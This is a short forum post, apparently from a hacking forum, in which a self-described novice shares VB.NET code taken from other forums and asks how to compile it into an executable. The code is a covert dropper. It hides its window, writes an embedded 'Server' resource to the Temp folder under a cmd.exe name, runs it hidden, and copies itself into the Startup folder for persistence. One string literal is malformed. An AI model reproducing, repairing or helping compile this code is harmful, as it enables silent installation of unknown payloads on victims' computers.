ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
Home
Upgrade
Credits
Help
Search
Awards
Achievements
 3225

I am a novice, see the code from other forums

by loofeek - 06-15-2018 - 03:05 PM
#1
I am a novice, see the code from other forums, please tell me how to compile?

Master can tell me the meaning of this code How to compile with the exe file?


Imports Microsoft.Win32
 
Public Class Form1
 
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.Hide()
        Me.Visible = False
        Me.Opacity = 0
        Dim dir As String = My.Computer.FileSystem.SpecialDirectories.Temp
        Dim filename As String = dir + cmd.exe"
        IO.File.WriteAllBytes(filename, My.Resources.Server)
        Dim m = New Process
        m.StartInfo.FileName = filename
        m.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
        m.Start()
        Dim startup As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup)
        IO.File.Copy(Application.ExecutablePath, startup & "\lose.exe")
 
    End Sub
End Class
Reply

Users browsing: 4 Guest(s)